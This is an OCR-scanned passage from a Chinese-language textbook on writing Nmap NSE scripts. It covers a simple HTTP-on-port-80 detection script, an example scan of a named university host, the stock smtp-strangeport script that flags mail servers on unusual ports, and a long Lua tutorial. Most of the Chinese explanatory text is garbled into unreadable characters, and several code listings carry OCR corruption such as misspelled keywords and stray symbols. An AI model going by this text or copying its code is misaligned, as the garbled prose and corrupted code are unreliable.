local shortport = require “shortport”

description = [[]1]

author = “admin’
license = “Same as Nmap——See hitp:// mmap. org/book/man-legal. html”

cztegories = {"discovery”}

B @ =1 O U e WD BRI

10 portrule = function( host, port !
11 return true
12 lend

15 |action = function(hest, port)

i |end

Kl 8-14 HrEH) my-http-detect. NSE I
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author “FEEMIANEE KA F .

author = "Liu Kai"

TR EEA IR R B35, liceNSE FE BN B TCHME

liceNSE = "Same as Nmap--See https://Nmap.org/book/man-legal.html"™
HATEZ BIE L35 $% 14128, FrLAX B categories ED2H 1 7428,
categories = {"discovery"}

B P ORGSR T o X B ENPEAS HER2Z® 8 Web IR F5#5 ZARHE H AR o CUIRASFN
H b 0 B9IRSS Rk , Fir A $E portrule FLN

portrule = function(host, port)

return port.protocol == "tcp" and port.number == 80 and port.service ==
"http" and port.state == "open"

end

XA HAr iR 55 4% E P Y 80 Ui i1 7E HTTP k5 Aymffe, vl LIEAT action #47 .
%5 24 portrule 1 [AMEL LTI A B SAAT HIACAS o

action = function()
return " This is a WebServer"

end

Kl 8-15 il 1 58 m RUfCAY

C:\Program Files (x86)\Nmap\scriptsimy-http-detect.nse

1 lecal shortport = require “shortport”

2

3 |description = [[]]

4

5 author = “Administrator”

6 license = "Same as Nmap——See http://nmap. org/book/man-legal. html”
7 categories = {"default”}

8

9

10 portrule = function(host, port)

11 return port.protocol == "tcp” and port.number == 80 and port.service == "http" and port.state == "open’
12 end

16 action = function()
17 return ° This is a HebServerr
12 end

 8-15 52hlAY my-http-detect. NSE fUH5

Bt B A G- 7 2 NSE ¥ scripts H 3 F, #RJ57E Nmap F#4T “ Nmap --script-updatedb ”,
57 At \] DL AE Halcyon IDE H File 328 rhi%4% “ Update Script DB” 54>, E 8-16 fif s,
PR T BOVE AR AR R Y
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Halcyon IDE 2.0 - IDE for Nmap Script Development -
Edit Project Help
New ] E ﬂ E n n ||5canme_nm ap.org Hdefaun
n Ctrl-O
Ope ; " C:\my-http-detect.nse
Save Cirl-5 qr
“Jl 1 loecal shortport = require "shortport”
Save As.. ”
Close ~IE o _ _ _
E_g 3 |description = [[Checks if HTTP is running on the port 80.

Export Script =1

) 6 [license = "Same as Nmap——See http://rmap. org/book/man-leg
Print Ctrl-P _ . N

7 |categories = {"discovery’}

Exit Ctrl-Q .
] H Aafn conrngnrinfn on 1

& 8-16 {di | Update Script DB HIfE

& FRAE Nmap AT AR
Nmap -p 80 --script my-http-detect www.tstc.edu.cn

A 8-17 44 H T HIRIZE R .

V- — W =
Sl mamm o e

HfE@ TAOD EEE) &H)

Bi® | www.tstc.edu.cn H EE - Bl
i — —

#<: |nmap -p 80 --script my-http-detect www.tstc.edu.cn

| B8 | | Nmapmt | w0/ | met | 0eE |

s 4 - » |nmap -p B0 --script my-http-detect www.tstc.edu.cn v = |4

Starting Nmap 7.30 ( https://nmap.org ) at 2016-11-84 16:13 2D1u+éx2&+2?2
Nmap scan report for www.tstc.edu.cn (211.81.200.8)

Host is up (@.8@16s latency).

rDNS record for 211.81.200.8: jpkc.tstc.edu.cn

PORT STATE SERVICE

| my-http-detect: This is a WebServer

Nmap done: 1 IP address (1 host up) scanned in 18.87 seconds Il

-

’l 8-17 my-http-detect [HIZAS (304745 5

R EASEI T —AME AR I RE . R, XIS B R A, =
25 BAKH T Nmap B934 . 76/5 A5 iR 2R 40444 Nmap 9 APT FIEESCHF, X EEn]
PL4m’E e A am R AR
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8.5 SEWIR . B mB A DA

R 45 ) A9 A0 FAR AT 8., (ERAESCRN A0 B 8. 2 DAEAS Ao AHS b
o, RN BRI E A E 2 Nmap 58T, # FRF—4 Nmap ' H B

Kb PRSI MR — ik et AN RENER] 5N F1E, BRB Al wRE S
FERVERR /A, 2 NRUBRMRRE — BN TR S . IAER Z R IR ST R 4a ) T X0 &,
IR kT 22, BRI A ISk i /S [al

A F, REMLIRIRAERTE AR AR ERER T & R, KX EETEARE
MTEOL TG TEBRARSEM:, ARSI ST K% BT — Rl o, Re
TEIX A 1 EigfT SMTP JR55, JEIEAS Wb 1] &1 e 126 b R4

BEACE T T XEARGE TR, IBATE T RPE BT IAA I Y 28 T2 A5
YL T BB AR S o SXANAIAS B i S BLA T DI RE

QX B AR FEVLA S 1 FEATAT

QBEFRERA SRR D F T SMTP R5% .

Q X e

HE T R XA B OR i 5 X A B SR 4y, RARPBRAT .

HE 1. PEFF execution rule, PHNIXRAIAC @ %) B As EA Ly 1 0945 R 50t ie 2
1, PrRAEREPA T AL

portrule = function (host, port)

F]|2 . EX XN RNE port BHH I A NEHITKM, HIEAEZLEA SMTP
MR o

port.service == "smtp"

ARG R MNZ R 95 B B IEAIE W B%s H _Eia1T, SMTP IEH WIZBE1TE 25, 465 # 587
i

port.number ~= 25

and port.number ~= 465

and port.number ~= 587

and port.protocol == "tcp"

and port.state == "open"

F],3 . WERFMGIRAT S LR PN, B4 action HHETT Nl ik WX A4~ 1Y
¥iig 1
return "Mail server on unusual port: possible malware"

BN IEEZR5ERL T XA
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&l 8-18 4 th T IX M AS ) 528 o

1

2 description = [[

3 Checks 1f SMIP 1s running on a non—standard port.

-

S |This may indicate that crackers or script kiddies have set up a backdoor on the
6 system to send spam or control the machine.

7 (1]

8

g |-

10 — @output

11 — 22/tcp open smtp

12 |—— | smtp-strangeport: Nail server on unusual port: possible malware
13

14 |author = "Diman Todorov”

15

16 license = "Same as Nmap—=See https://nmap. org/book/man—-legal. html”
17

18 |categories = {"malware”, “safe”}

19

20 portrule = function(host, port)

21 return port.service == “smtp” and

22 port.number = 25 and port.number "= 465 and port.number "= 587
23 and port.protocol == “tcp”

24 and port.state == "open”

25 end

26

27 |action = function()

28 return "Mail server on unusual port: possible malware”

29 end

4 8-18  SE 4 i B I R4 A E e D A

X IARIR A 5 BAF, [N OATE XA A v 3380 (AT ] PR el APL, 7E G [ A 7T
B TR R Nmap A A ZEFT API,

M

Zt X —FER2E, E4LEWR T NSE A X ALE A0 BB A, i HSCER 7 — 4
PR, HiE— T NSE P REXHZ )G, B AA#ENSE HIEW & T, F—
EB R Lua IASIE S,



CHAPTER

- (09

LualnEE

Lua XD AMRKE THETE, BH “FRWHHR . B&VIX1EF R HRIRA S
N, X T1E S AR E/NY . Lua 2 B R 2800 55 K F#K 241 Roberto
Ierusalimschy . Waldemar Celes #l1 Luiz Henrique de Figueiredo FirZH i1 — M98 /N FE 1993
EIT R

HHif NSE s i4 H P 1 Lua 6 5 JF R JAAKE DY B Nmap BIGE ST . A 455 M4 43 19 55
BI#ER R Lua iG55 0T &, ARMERITXITES HofE4s, READAEMHEL, Luaifis
1 Tam g FiiEs, RERIA SRR, 9l IR EF. A ERARE
T e, WRBEMEAM T XIES, REVURRGFERH—ARCBEM, RTHE
&, A HENE T 5 NSE MR LTG5

T, BAETTIRE 2] Lua.

X5, BeERXT Lua B 5T AR

Q Lua iH 5 MIF . EEEAIEIREE

Q Lua ifi 5 BEHERAL

Q Lua BF AR,

Q Lua if 5 W ARSI

Q Lua ifi 5 1 VO ##4E

Q Lua i& 5 1Y Coroutines,,

Q Lua ifi 5 B HARAH KRER 77



130 3 EHZIR—Nmap NELEEITIRAE

9.1 Lua [MZaFeEpbi

¥ Lua B9 H FZREBR S 2] —ME S AN R RTHES . NI Lua &5 4070
75, (HEAREERpt RIERIZHEE. Hlan CRESEA ) CHUR A/ ) SRFXRARERE T Lua fEN
HE R AREAIET . Luaif 5 &M CiE s B AR,

9.1.1 1f Windows &% %3 Lua JRiEIE
Windows FHAHRIZM R AR, RBENTFEA | - oo

Hodik B2, ARG PATRIAT

Github T %% 31 hik & https://github.com/rjpcomputing/lua-

forwindows/releases,

SRJE T TR AN TT . 2 SEMEUR , TEfRmFF | 18 Uninsall e

ESE RS2 & 9-1 Fra i3 3 .

. Lua
% iLua (Friendly Lua Command Line

0- Lua (Command Line)
. Lua Examples

| LuaFerWindows Documentation

" QuickLuaTour

& saTE

| Documentation

B 9-1 2% Lua LIS BFFIESR

ASCH I SEBIE T ilua #1 SciTE PIFPEREE . X BAd

i) SciTE Zm’a 4% iy A an&l 9-2 Frs .

BA (Windows 55 1)

Help

r°[Untitled}-SciTE BT TreTYTY @ﬂu

File Edit Search View Tools Options Language Buffers Debug

D &l 2R Q| BB

REI =R P 3

1

4 | I

Ln: 1 Col: 1 Sel: 0 | Saved:

| [INS] [CR+LF]|

K 9-2  SciTE Zr%Eas TAER

9.1.2 7£ Linux % %% Lua fRIEIAE

Lua 7F Linux fl Mac @& WIF AR 44, Ll Lua-5.3.0 B3 NF), F1H— L,

RIFHIA AT R A2 o

curl -R -0 http://www.lua.org/ftp/lua-5.3.0.tar.gz

tar zxf lua-5.3.0.tar.gz
cd lua-5.3.0
make linux test
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make install

RIAT 521 Lua 12256 .

9.2 35—/ Lua F&)F¥

Lua ) TAE IR AL TR B gRER, FEPATH 0] LIS 28 BB T SR . Xk
A DA VS B M B Lua AYJEEEATN, B RFT e L, SREHA lua -1 8% lua k)3 A
Lua & B0 FEtit., WKl 9-3 A,

EE~

N BER: C\Windows\system32\cmd.exe - lua -i

Microsoft Windows L[hfi7R 6.1.7661] . -
Hﬁiﬁﬂﬁ$§ {c>» 208? Microsoft Corporation. ﬁ%%ﬁﬁﬁ$§$ﬂﬁ”ﬁ

C:“lseprs\fAdministrator>lua —i
Lua 5.1.4 Copyright <{C> 1994-2088 Lua.org,. PUC-Rio

K 9-3  Lua Bar247 TAER
fean A4, AT LME F print() 3T ERE B —LE N 2, Bl .

> print ("Hello, welcome to Lua World! ")

RJGHE T 488, AR RAERNZN, CH A Ar- 175 4 R A& 9-4 fiR

BEEI=i

BN iLua (Friendly Lua Command Line)

C:“Program Files (x86>“Lua’5.1>lua.exe —lilua
ILUA: Lua 5.1.4 Copyright (C)> 1994-2088 Lua.org. PUC-Rio

"guit' to end
> print{"hello,.welcome to LUA Yorld?!'>

hello.welcome to LUA World?
>

 9-4 Lua W32 H A2 1T TAER

AIMLTE T MR CIEE —F, B— 1 RFENEEUE, AE T, XMHESHRR
F A AR, BIUNTE SciTE 45 I 9-5 Frs S .

PRI B T RAT BRIP4, &l 9-6 .

XA SciTE 4af #4510 B R WiEs, FEOIAARSES, THEEPITE R X1
ZERUNAE 9-7 s,
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‘ C:\Program Files (xB6)\Lua\5.1\examples\bisect.lua * SciTE l t ! N ' , '! > & _

‘| File Edit Search View Tools Options Language Buffers Debug Help
DFEH & *2RIQ PHEES @H =P 20 J@

1 print( Hello, welcome to LUA world! ) |
2 print("Hello, welcome to NMAP world ")
3
4 |
4| m | 3

Ln: 4 Col: 1 Sel: 0 | Saved: 2016/11/3 EEAM A 9:15:11 | [INS] [CR+LF |

B 9-5 Lua BYHIA R 4

|File Edit Search View Tools Options Language Buffers Debug Help
N &l :2eQrEES @GS PE0E@

1 9-6 SciTE Zuiias -F I TR
" C:\Program Files mmi

|f|le Edit Search View Tools Options Language Buffers Debug Help
DFd & B Qe VEES RGP0 U@

pri ello, welcome to LUA Worla!
print("Hello, welcome to NMAP world ")

. a i
Hello, welcome to LUA world!
Hello, welcome to NMAP World
=Exit code: O

'llﬂj'n-'

Ln: 4 Col: 1 Sel: 0 | Saved: 2016/11/3 ERAM F& 1:34:10 | [INS] [CR+LA |

K 9-7 SciTE 4wl esr) R PifEs

9.3 Lua jfifeeshl

Lua #2185 WA 12 ) o )i o % 25 5 SR PREAT 0, DA e $AAT PN BRESA43 3¢
AR — 3, AR TR AR P o SR AR A TR AR B 5L if TR if 1R —MEDY
true B false HZRPFIBRRIAIHABE AR, BANE 9-8 Hhitsa thh 17— if i) Ry 54 .

CAProgram Files (xB6)\Lua\5.1\examples\bizect lua - ScTE E@u

File Edit Search View Tools Options Language Buffers Debug Help
I Dwdl &l ia2R|Q M las RERFTFE@

1 - 1T true then

2 print("this is true™)

3 end

4

5

]

ra
x| il d 3
=lua -e 1o.stdout:setvbut no’ " Tbhisect. lua” -~
this is true
=EX1T code: O 3
1 1 I ,
Ln:3 Col: 4 Sel: 0 | Saved: 2016/11/3 8N T4 212:18 | [INS] [CR+LA |

K 9-8 Lua FHHA if 1B4)
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B T B S if 1B A) Z 40, Lua &5 W0 SC RS2 if---else 1#5A]), FE if SRR R
true WIBHEE, $AT if )G BIIER], 7F if 2438 3A500 false B HUAT else iR CHS . )40 E 9-9
A T — R S if - -else 1B/ SEH

. C:\Program Files (x86)\Lua\5.1\examples\bisect.lua - SciTE Eﬂu
File Edit Search View Tools Options Language Buffers Debug Help

DEWH 8 +2RIQa PHEES RERP FPE@

1 status=200 "

2 -1if status == 200 then

3 print("The status is 200") E|

4 elseif status == 201 then

5 print("The status 1is 301")

6 end g

7
« | m | r
=lua -e "10.stdout:setvbuf "no'" "bisect. lua” -
The status is 200 —
=EXit code: 0 L
4 | m ' 4

Ln: 5 Col: 27 Sel: 0 | Sawved: 2016/11/3 ERE[0 T4 2:16:16 | [INS] [CR+LF] |
& 9-9 Lua FHEArL if--else 151]

FET I — S8 H B A2 T e B, 2B A if--else BES{HH, B 9-10 HAH T —N %
H if---else 154 o

C:\Program Files (x86)\Lua\5.1\examples\bisectlua - SciTE : =<
F T ——— e e — — . =

File Edit Search View Tools Options Language Buffers Debug Help
DEeH S ‘28 Qa MRS @SSP fE@

1 status=800Q

2 -1if status == 200 then

3 print("The status is 200")

4 elseif status== 201 then

5 print("The status is 301")

6 else

7 print("The status 1is unknown")

8 end

9

10

11

12

13

14
< | 1 | ’
>lua -e 10.stdout:setvbuf "no ~ “bisect. lua -
The status 1is unknown E
>Exit code: 0
1 m I »
Ln: 1 Col: 11 Sel: 0 | Saved: 2016/11/3 280 T4 2:18:43 | [INS] [CR+LF] |

K 9-10 Lua T L H if---else 1E4]

T EFEAE, BRI R RIR SR AT LUEAEAT(E, Lua iAK false 1 nil #R21K,
true 5H]E"§ nil %IS%EG

9.4 Lua "PHITGIAEH
EHEEEPLESER—aG ENEERE, Flais 13 100 rE 1 ERE, X
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PR SR B R R P T, XS B A AT R TR R R R IMA, PRI 1R SR T

EZMEIMARE GRS EE . EIE A2 R EAA S AP AL Lk S 1 P 0 A AT

7 Lua i& 5 A W F JURMERR AL T 2
1. while {EMEG

THEH T — while /5 HIEH, WE 9-11 fra~n, EmEEZFBEFCH, THZ Lua

while JEIE ]I PATEE R .

E CA\Program Files (x86)\Lua\5.1\exal

n'ilesiisect.lm - ScilTE

File Edt Search View Tools Options Language Buffers Debug Help

IDed S|l ir2ReQae|PlEs =28 TEE@

1 local x =1
2

3 print(x)
4 X¥=xX+1
5 end

B |

4| 1 3

_ while(x<2016) do E

4| i I 3
Ln: 6 Col: 1 Sel: 0 | Saved: 2016/11/3 EEII T4 1:54:22 | [INS] [CR+LF] |

K 9-11 Lua HAY while fEHIEH]

2. for ENET

5 while A A A2, for tH/A) Al L E R FIIG A R PATROREL, B, B o-124H 1

—™ for TEEME A HIFEH

@ C:\Program Files bﬂﬁ}\Lua\ﬁ.Emples\bisect.lua -5CTE & e s S b=

File Edit Search View Tools Options Language Buffers Debug Help

1D H| & +sr2R|QCPVHEES SF=28F 2 =@

1 -fTor x =1,5 do A
2 print(x)
3 end E
4
5 -
[
< | [ | ~
=Jua -e "10.stdout:setvbut "no’ " "bisect. lua” a

W W

>Exit code: O
« [ m "
Ln: 1 Col: 12 Sel: 0 | Saved: 2016/11/3 2RI T4 1:59:23 | [INS] [CR+LF] |

Fl 9-12 Lua *#Y for fEFF1EH)

3. repeat fEFRED

repeat---until £584J 12 Lua B —FEEREH, XS AWHEEZ FATIEN, BEREE

R B A 1k, B, B 9-13 45 T —> repeat JHEREH]HIFEH
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- _
. C:\Program Files (x86)\Lua\5.1\examples\bi lua - SciTE Lnﬂu
Eile Edit Search View Tools OQOptions Languag_e Buffers Debug Help
IDEH| S| 2R Qa | VHEES EHF=2=BPFPE0LE@
1 a=11
2 - repeat
3 print("value of a:"”, a)
4 a=3a+1
5 until( a > 15 )
6
7
8
< | T | »
>lua -e "1o.stdout:setvbuf "no’ " "bisect. lua” -
lvalue of a: 11 i
|va'lue of a 12
value of a: 13
lvalue of a: 14
flvalue of a: 15 ¥
I}Exit code: 0 -
< | 1 | b
Il.n:chrl:?Sel:ﬂ | Saved: 2016/11/3 EEN T4 2:03:22 | [INS] [CR+LF] |
~—

K1 9-13  Lua H'HY repeat 515 4]

4. break fENEQ

break 15 A) & —FEIAE A, 0T PASCELR YRR aE ), IR PIT EREN
A, — PR R IR B T U, FEPE A G SRR AKIE N true, PEFRIEA LS KIEIAT
T, E9-14 451 T Lua Y while K ELAFERIEH]

ples\bisectlua - SATEMIIIIE (=] E [

File Edit Search View Tools Options Language Buffers Debug Help

DEWH 8|l :i2RlQae H0REs S8 s0R@
gﬂe(true)

mfr“i"t("iﬁﬂ:ﬁﬂtiiﬁlﬁ'Fﬁ") i
e

[N, W T

! | — m | 8

Ln: 5Col: 1 Sel: 0 | Saved: 2016/11/3 2EAM R4 2:05:32 | [INS] [CR+LF] |

Kl 9-14 Lua H1# while 7K A EH)

9.5 Lua ¥¥ig3ml

MCIEEAFMEZ, Luuif 5 2 —MaiSLXMAIET ., XMEE EE RN ATGE
KA ARE N EWRME, [HTUAFHEEZES, EASEEZERE RN, 7E Lua f—It
A8 NHEAZER, X 8AZEH 43 5l & nil. boolean. number. string. userdata. function,
thread #ll table, FHAUFAINFE 9-1 Fis.
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£ 9-1 LuaiZFshHIHIEAR

#HEERD 7 T

nil XFPERE TR, RO&F— il 6, FR—NH8E (FEFFRAPHE YT false)

boolean AIRFERY, —ILF false Al true FIME

number UK 5 2T ) S 8K

string FREPRE, BG5S as | SRk

function Lua if 5 Y RREK

userdata FEBEEAS R ) C BUEZEH

thread T AT 03[R Py it 37 28 2%

able iu;-qj (2 (table), FKAEME—MEHESH, FTLIFFBIIRATEGIE AR ZEREL, nEd Al
=

9.6 Lua Z1Fih

Lua i 5 AR EBET . 8., FTEEGHRH—BFER R —NARFRM TR
AT =Fh,

Q fif 5| SRR M —BFELF, B0 hello's

Q fERG | SHEEAN—HBR R, Ha0 "hello",

Q fEA [ A )] FERRA— AT, #I4n [[hello]].

Kl 9-15 A T =FhFAF R R ik o

File Edit Search View Tools Options Language Buffers Debug Help
N d & i 2RIQC I PEELS @FERP o0 E@

stringl = Lua -
print(\"XRFHSE B —FHR\"", stringl)

string2 = 'NSE’ ﬂ
primt("XERFHFEIE_fRFEX" ,string2)

string3 = [["Nmap"]] } ‘
Fﬂm EXEFFEHE=fFFR",string3)

=R s W, TR S

K 9-15 Luaif s =f TR0 FE55 8
DL AR A TH 25 SR an A 9-16 Fizs .

=lua -e 10.5TAOoUT :setvibu
KRGS E— R }
A FIFE AR X NSE

xE=Z=nE=m "Nmap

=EXit code: 0

no

1 9-16 Lua ifi & P =07 NFERFAF S B PATE R

% RG0S AT B AT OERAE, BT SRR —FEONH IWAIZRAS, i Lua H
BARERITERM TR B IATEAE, a4,
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1. string.upper(argument)
upper PRZCRE AT B AR AT il RS 8, i 9-17 firos .

r S - -
€ Lu: (Command Linc) WNER—— L[r.:. 5 |l

s printi(string.upper <’ hello nmap’ 2>
HELLO NMAP

?

B9-17 FF R Pl RS 78

2. string.lower(argument)

lower PRELRE A4 5 P AR 2885 /NG A8, WE 9-18 Fiin,

Y Lua (Command Line

L | o |

2 print(string. lowerC{’'Hello Nmap’ >>
hello nmap

m

K 9-18 T8 P AT 205 /NG )

3. string.gsub(mainString,findString,replaceString,num)

gsub PR T {8 FH O s 22 B 4% B mainString P Y findString £ #%: 4 replaceString, num
HEHUE, num BIBRGAMECN2ER, WE 9-19 Frs,

Lua (Command Li

> print(string.gsub("1111", "1" Y2V 23D

K9-19 KA BRI “17 By 27

4. string.strfind (str, substr, [init, [end]])

strfind PRELTE —MEE W BIRF AR PRI EVNE CE=NSEC8ERS]), RELHXA
WA GEA BERER_AIE . AGFFENR[E] nil, a0E 9-20 FiR.

( & Luz (Command Line) Ll"':' = ]_H:?-_jq

> print(string.find{("Hello MNmap'."Nm''.1>>

UL

& 9-20 FRBNFFFE AP HFLF Nm Fr7E R &
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5. string.reverse(arg)
reverse PRECKF AT RN BHE , I 9-21 FIrw

CEEmsrs

> print(string.reverse("'Nmap''d)
pamN
>

rl 1 ]

A 9-21 BEF4TE Nmap N L5

6. string.format(...)
format PREGR [l — A2 printf A AL FERF e, W0E 9-22 Fis.

7€ L (Command Line) WT— fy (=l |

> print{string.format{"the year is:xzd".20816>> -

the year is:2016
}. -

9-22 §iFH printf #& AL F4T H

7. string.char(arg)
char PRECKIERIBUAHE A A5 IF 28, Wikl 9-23 Frs.

g Luz (Command Line} - AR L kﬂ'l@w
7 print{(string.char{110,112,113.114,.115>>

npgeys

K] 9-23 BB RIBUT I T
8. string.byte(arg[,int])
byte PREUFE I FRF HEEEE (AT LAFg @ AN FRF, BN —1FFF), WK 9-24 P,
Lua (Command Lin ‘ [":' = IﬂH1

s print{string.byte{("hello",32> -

4 (1} b

Kl 9-24  FEHF AT N EEIE

9. string.len(arg)
len PRECTEAFFRE, &l 9-25 Fis,
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ﬂ Lua (Command Limﬂ— E&Iﬂ

> printd{(string.len("hello''>>

K 9-25 IIEFLAFE “hello” K

10. string.rep(string, n)
rep PREGR B A5 & string Y n N5 DL, Q& 9-26 Fioss

, @ Luz (Command Line) : E=NEE

s print{(string.repi{"hello". 23>
hellohello

>

K 9-26 BrF4TER “hello” Bl IR

11. ..
- TN LT, W 9-27 Fis .

| & Luz (Command Line) [ | & iﬂﬂ

» print{"hello". . "world"'>
he lloworld

& 9-27 ¥FELFHE “hello” Fl “world” #E#EE ¥
K 9-28 sl s T an el {5 FH R upper() A1 lower() XFE4F 88 KNG AT,

File Edit Search View Tools Options Language Buffers Debug Help
D dH 8 BRIQa P HES @S =0E@
1 stringl = 'Lua ; -
2 print(string.upper(stringl))
i print(string. lower (stringl)) E
: 4
e '

K 9-28 XA K/ INE AT
AR PATRIS R K 9-29 Fras.

>lua -e 10.s5tdout:setvbutf no = "bhisect. lua’ B
LUA

1ua.
=ExXit code: 0

4

4 | m b

K 9-29 X ARFER R/ING #EF TR 45 SR
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K 9-30 wh g AUAS I 7R T Anfa] ] find () A1 reverse() BREON F4F 5 b AT A 3R 5 S B
(o

| File
D

Irm

dit Search View Tools Options Language Buffers Debug Help

H & :2RQ s @b=28F =5 5@
- BERFHFS , . . -
print(string.find(string, "Tutorial™))
reversedstring = string.reverse(string) “
Frint(”ﬁ-‘r}'—??%jfg",reversedStr'ing) =

m

.'I"-.IU\U“I-hLUMli]
W

& 9-30 X FAFER TR IR S RO ERAE
i AR BT R E 9-31 Fis .

=lua - 10.s5tdout:setvbutT no @ bilsect. lua
5 12

=B TairotuT auL
=ExXit code: 0

4 | i | »

B9-31 XPFAT R T A 4R S S BRI SR
&l 9-32 HR AR S 1 Anfe]f ] pRZK format() X 7 AF 3 A TAR AL R4

File Edit Search View Tools Options Language Buffers Debug Help
Do W & t:2RalQat P HlEs H=28F 20 @
1 stringl = Lua ~
2 string2 = "Tutorial” =
3 numberl = 10
4 number?2 = 20
&) - EFEFHFEEINL . . =
6 print(string.format("ZE &5 =4k %s %s",stringl,string2))
7 -- HEEREIL
8 date = 2; month = 1; year = 2016 3
9 print(string. format (" 5 g5t =4 %02d/%02d,/%03d", date, mont
10 -- +#HENi
11 print(string. format("%. 41" ,1/2))
12 -
< | I | b

& 9-32  XFFERFER TR AL B E
DL EACES BATES A& 9-33 s .

~lua -e '10.stdout:setvbur no' ' "bisect. lua"

HAZRE=4 Lua Tutorial
Egﬂg%iﬁiﬁ 02/01/2016 T

>EXit code: O -
< | 1 | G

F19-33 XA S I TR A ALRERISE R
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&l 9-34 HhEASED R T QAT byte() PRECSEIL AT S5 R BM B35

File Edit Search View Tools Options Language Buffers Debug Help
DEEH & { 2B Q| P e =8¢ 27 J@
1 -- FHFE®m -
2 - BREATFTEF v
kS print{string. byte("Lua™))
4 - BEBRE="FTF
5 print(string.byte("Lua",z2)) A
6 - BEFREE—ITFFH 3
7 print(string. byte("Lua"”,-1))
8 -- BT
9 print(string.byte("Lua™,2)) 4
10 - EEFEEE_T=F
11 print(string. byte('Lua™,-2))
12
13 -- 2335 ASCII EEE AT
14 print(string.char(97)) -

Y

L |

K 9-34  XTFAAF 8B B A
P A AT R anE 9-35 B .

K

>lua -e "10.stdout:setvbuf no " "bisect. lua’
70

97

a7

117

117

d

>EXI1T code: O

4 | m |

ol i .

£19-35 XS AU L ey &5 R
Bl 9-36 HPAYSLBIE R T HA A — L2 AT F 84E

File Edit Search View Tools Options Language Buffers Debug Help
Ded & 28 Q| r M3/ @=8F 25 J@
1 stringl = hello!"”
2 string2 = "My"
3 string3 = "lua”
| 4 -- A .. #FITFHFSEE ) ,
5 print("iEE=FE",stringl..string2..string3)
]
7 -—- FEEEE . . .
8 print("=/F=s&= ",string. len(string2))
9
10 -- =FEEE 2 X
11 repeatedStr‘ing = string.rep(string2,2)
12 print(repeatedstring)

Kl 9-36  HAFAT 5 ERAE

141
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ETf U AT RGN 9-37 i

> >|ua -e " io.stdout:setvbuf "no’ " "I. lua”
TEFFE hello!Mmylua

= ERE 2

My My

=Exit code: 0

K 9-37  HALFAF SRR

9.7 Lua Xt /O 1%

Lua H i F 1/O FE 3k 58 BT SCH4F B9 e BUORIAL BRERAE . Lua 5 X0 SO B 8RAE 7 R a7 B =X
M2z,

X B R A — TR, XAl G X S T e . (BT — 2 Y
SRR, TR BN E A R, B[R X 2 SO AT R R, A
foi 58 22

FIH S ERIER] A i0.0pen(), BEARCRSUNT .

file= io.open (filename [, mode])

# (mode) ] AR BIELUNGR 9-2 7R .
%92 BATUMERANE

®/ K R
r LARBEDT AT S, S b ATAE
w T RE 3, HICHFAEN KB R 0, BENZSUHENESHER . B SRR
DAL

VAR I 77 FTF R G 30 A SCEAFLE, W S 3Ctr, WARIHFAE, TR
=g B SRR, BISCHFRer A= (EOF £H& )

r+ DART e J5 IT IS, S e ATAE

e FIFFATES 3o, &30 AFEEN S K EE R 0, BNZ N B SR . 2 XA FEAEN
BN

a+ 5 a&Zl, {H(ErEEn] S
TR, AR SR R e, TR E b

+ FER X SRR FT LAt AT U

T EARAE RSO A Nmap. Lua (ANSRBA AN, IR BERIEICHE), %
P 9-38 FFR .
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7 Nmaplua - i3 e
NP #WmSE B =BV #EEH)
Hello to Lua world!] -
E1F.E17

Kl 9-38  EHAERI U Nmap.lua FINZ
file. Lua SCHFH A4S AN A 9-39 B .

File Edit Search View Tools Options Language Buffers Debug Help
D@ W & i 2RIQFPERS GG PS0I@
1 == LRI FEITFH I P .
% file = jo.open("c:/Nmap. lua™, "r'") —
4 -- WMEHITHEE— E
5 print(file: read())
6 | 3
7 - REITFRISCHF
8 file:close()
9
10 | i
4| ] | )

&l 9-39 file.lua SC4H A/LAY
PATUA EACHS, % Nmap.Lua CHFRISE—1TE R, PTG B4R E 9-40 s,

>lua -e "10.stdout:setvbuf "no " "bisect. lua” A
Hello to Lua world!

>EXit code: O E|
< | i ] 5

K 9-40 file.lua BIFFTSE 5

HoRWE —BIn) Nmap.lua B A—AIEAAR, EiZSCHEE —1T0 N Lua R, &
MUE ARSI 9-41 FTR o

File Edit Search View Tools Options Language Buffers Debug Help
DEH S :2R8|Qa  VEES @ HSSPFSEEFG
B - JEHiIUEI‘EI‘ﬂ""'L‘.?’TFH':Eif*
; file = io.open("c:/Nmap. Tua™, "a")
4 -- EH% ICfES c:/Nmap. Tua
5 10.output éﬁg)j g
4]
7 -- EXHEE—ITHED Lua 5
g io.write("-- HNmap.lua T FxEFEE")
10 -- FHAITFHILHF
11 io.close(file)
12
13
14
15
16
‘ m | L

9-41 &S file.Lua XA LS



144 3 EHZIR——Nmap PELZEHITAIBR

X BACIS P ATSE . LLJS, Nmap.lua SCEFH A INE 9-42 Bk .
i | Nmap.lua - i0=& l = | =] ‘_i;?d
NiEE $|(E B0 =F'N EEH
Hello to Lua world!— Nmap. lua ¥AFFRETFRFE
E17.8395

El 9-42 47 file.Lua J5 Nmap.lua SCIHFF N2

9.8 Lua PplIFEF

9.8.1 {t42th

Lua MH[EA2/F (coroutine) HRAR AL : AT HUMERR . 7B AR & . 257 1Y
TRt sr, (Al 35 HAt by ) A L 52 4 Jay 2 A RS A0 AR Y o 3k B L J i B0 1 i
AT G, AR TR E T P2 TR 4

9.8.2 %

A

=)

]2

JFEFT

FHY

X

AR SRR ELZXHET, —NRA S PTELEOREF TR 21T LSRR,
PRI P AT B M EE T . AT —fa N2 A — I E P ezt I HRXA Efeis
TRy PR RAE A EOR FER AR A 2R R A SRR 4R, 1E
A — R BIR LA KR

9.8.3 coroutine EANEEL

1. coroutine.create()
X A7 2 R BN & — 1 coroutine, W ZEHITEZ LM REIE NS, REMEE—T

coroutine,

2. coroutine.resume()

XA SR SE R, coroutine B JE #24E, 5 create Bl &6 .

3. coroutine.yield()

XN T R SEBE coroutine FUHERERYE, B coroutine 15 B A HEEARE
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4. coroutine.status()
X AN 7 H SR 28 F coroutine AR &, X HL coroutine ) R 2% — 3L dead. suspend,

running —f¥,

5. coroutine.wrap()

X AN A # — > coroutine, TR [F — N, — B XA KA, BiEA
coroutine, 5 create ZHEAHAE] -

6. coroutine.running()

XA J7 3R Bl IE7E 1247 B9 coroutine, — 1™ coroutine Fij&— 14k, 4{di F running B,
1R 7] B 4 /T IEFE 2479 coroutine HIZEFE S .

9.9 Luaifis"higvEREFIES &

9.9.1 LuaiES9HRYERERAB

MHAMR A ES —FE, ERWE Lua &5 HaEZEN—#5r. 7 Lua i 5 P EAHE
BRI TR, — LR PR

L BT
= -, e T CEs R/, Bilin.

-— WA BATHER

2. ZITERE
i --[[ BN 1], DGEERT CIET R /**/, fltn.
= [

K& —MNEATH
B
1]

0.9.2 LuaiES+HETE

